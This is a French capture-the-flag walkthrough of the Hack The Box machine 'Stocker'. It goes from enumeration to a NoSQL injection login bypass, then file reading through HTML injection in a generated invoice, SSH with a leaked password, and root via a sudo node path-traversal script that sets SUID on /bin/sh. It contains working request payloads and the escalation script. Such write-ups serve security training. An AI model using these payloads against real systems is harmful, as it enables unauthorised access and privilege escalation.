Énumération
Scanner la machine :
sudo nmap -sC -sV -T4 10.10.11.196
-sC
: Scanner la cible en utilisant les scripts par défaut-sV
: Déterminer la version du service en cours d’exécution sur le port.
Résultat du scan Nmap :
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-13 10:08 CET
Nmap scan report for 10.10.11.196
Host is up (0.012s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 3d12971d86bc161683608f4f06e6d54e (RSA)
| 256 7c4d1a7868ce1200df491037f9ad174f (ECDSA)
|_ 256 dd978050a5bacd7d55e827ed28fdaa3b (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://stocker.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.36 seconds
La machine cible héberge un serveur web pour le nom de domaine stocker.htb, ajoutons donc dans /etc/hosts afin de consulter la page web:
sudo su -c "echo '\n#Hack The Box - Stocker\n10.10.11.196 stocker.htb' >> /etc/hosts"
Maintenant le site web a l’url stocker.htb, pas d’info sensible dans le code source du site web. Essayons donc les 3 types d’énumération qu’on peut effectuer sur un service HTTP.
Énumération de fichiers avec Gobuster :
gobuster dir -u http://stocker.htb/ -w $HOME/.local/bin/SecLists/Discovery/Web-Content/raft-medium-files.txt
dir
: Utiliser le mode d’énumération répertoire ou fichier-u
: URL cible
Énumération de dossier avec Gobuster :
gobuster dir -u http://stocker.htb/ -w $HOME/.local/bin/SecLists/Discovery/Web-Content/raft-medium-directories.txt
Énumération de sous-domaines avec Gobuster :
gobuster vhost -u http://stocker.htb/ -w $HOME/.local/binSecLists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain
--append-domain
: Ajouter le domaine de l’URL aux mots du wordlist. Sinon, FQDN doivent être spécifiés dans le wordlist.vhost
a été utilisé à la place de dns afin d’éviter la résolution de nom de domaine car stocker.htb est un nom de domaine que nous avons fait pointé vers l’adresse IP de la machine et ce n’est pas un vrai nom de domaine.
Resultat de enum de sous-domaines
Une page de login est accessible a l’adresse http://dev.stocker.htb dont dirige vers http://dev.stocker.htb/login.
Ajouter le sous-domaine dans le fichier
/etc/hosts
:sudo su -c "echo '10.10.11.196 dev.stocker.htb' >> /etc/hosts"
Login bypass
Utiliser Sqlmap pour trouver des injection SQL en utilisant la requête POST capturé en utilisant Burpsuite :
sqlmap -r post_req.txt
Rien d’intéressant.
Essayons maintenant NOSQL injection en modifiant Content-Type
et le payload sous format json :
POST /login HTTP/1.1
Host: dev.stocker.htb
Content-Length: 25
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://dev.stocker.htb
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://dev.stocker.htb/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: connect.sid=s%3AsH-VNc_skdNFAztIj3l2F8O_1gy18jDb.xUeL%2FX4DV1riM8kVcfj6PZTFohLW2BjHVViIypQnT2o
Connection: close
{"username": {"$ne": null}, "password": {"$ne": null} }
Maintenant nous avons bien authentifié et essayons maintenant de commander quelque choses, ares avoir valide nous une facture confirme l’achat. Cette facture a été généré dynamiquement, essayons maintenant template injection.
Capturer la phase de validation de la commande avec Burpsuite et modifier le champs dont est utilisé automatiquement pour générer des facture avec diffèrent nom :
POST /api/order HTTP/1.1
Host: dev.stocker.htb
Content-Length: 163
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://dev.stocker.htb
Referer: http://dev.stocker.htb/stock
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: connect.sid=s%3AsH-VNc_skdNFAztIj3l2F8O_1gy18jDb.xUeL%2FX4DV1riM8kVcfj6PZTFohLW2BjHVViIypQnT2o
Connection: close
{"basket":[
{
"_id":"638f116eeb060210cbd83a8f",
"title":"Bin",
"description":"It's a rubbish bin.",
"image":"bin.jpg",
"price":76,
"currentStock":15,
"__v":0,"amount":1
}]}
Remplacer le champ “title” avec :
POST /api/order HTTP/1.1
Host: dev.stocker.htb
Content-Length: 163
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://dev.stocker.htb
Referer: http://dev.stocker.htb/stock
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: connect.sid=s%3AsH-VNc_skdNFAztIj3l2F8O_1gy18jDb.xUeL%2FX4DV1riM8kVcfj6PZTFohLW2BjHVViIypQnT2o
Connection: close
{"basket":[
{
"_id":"638f116eeb060210cbd83a8f",
"title":"<embed type='text/html' src='file:///etc/passwd' width='300' height='600'",
"description":"It's a rubbish bin.",
"image":"bin.jpg",
"price":76,
"currentStock":15,
"__v":0,"amount":1
}]}
Cela nous afficher le contenu de la page passwd sur la facture. En utilisant cette méthode nous pouvons afficher le contenu des fichiers sensible :
POST /api/order HTTP/1.1
Host: dev.stocker.htb
Content-Length: 163
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://dev.stocker.htb
Referer: http://dev.stocker.htb/stock
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: connect.sid=s%3AsH-VNc_skdNFAztIj3l2F8O_1gy18jDb.xUeL%2FX4DV1riM8kVcfj6PZTFohLW2BjHVViIypQnT2o
Connection: close
{"basket":[
{
"_id":"638f116eeb060210cbd83a8f",
"title":"<embed type='text/html' src='file:///var/www/dev/index.js' width='500' height='700'",
"description":"It's a rubbish bin.",
"image":"bin.jpg",
"price":76,
"currentStock":15,
"__v":0,"amount":1
}]}
Le fichier index.js contient un mot de passe IHeardPassphrasesArePrettySecure, essayons de se connecter au serveur stocker.htb en SSH avec le nom d’utilisateur “angoose” :
ssh angoose@stocker.htb
Le flag de l’utilisateur se trouve dans /home/angoose/user.txt
Privilege escalation
Essayons maintenant de trouver un moyen de élevé le privilège, vérifies les privilège sudo d’utilisateur angoose en utilisant sudo -l. Angoose peut exécuter les script JS qui se trouve dans le dossier /usr/local/scripts/*.js en tant que root. Créerons un script JS afin de assigner un Setuid pour pouvoir exécuter en tant que root.
Essayons de créer un script exploit.js dans le dossier /tmp afin d’assigner Setuid :
const { exec } = require('node:child_process');
// Set SetUID
exec('chmod u+s /bin/sh', (err, output) => {
// Check for error
if(err) {
console.error('Unable to setUID', err)
return
}
// Message on success
console.log('Sucess', output)
})
Exécuter le script depuis dossier /usr/local/scripts car l’exécution du script est autoriser uniquement depuis ce dossier :
sudo /usr/bin/node /usr/local/scripts/../../../tmp/exploit.js
Maintenant nous pouvons exécuter /bin/sh en tant que root grâce a SetUID, exécuter /bin/sh avec option -p permet de exécuter en tant que root et non angoose :
sudo /bin/sh -p
Le flag se trouve dans le ficher /root/root.txt
.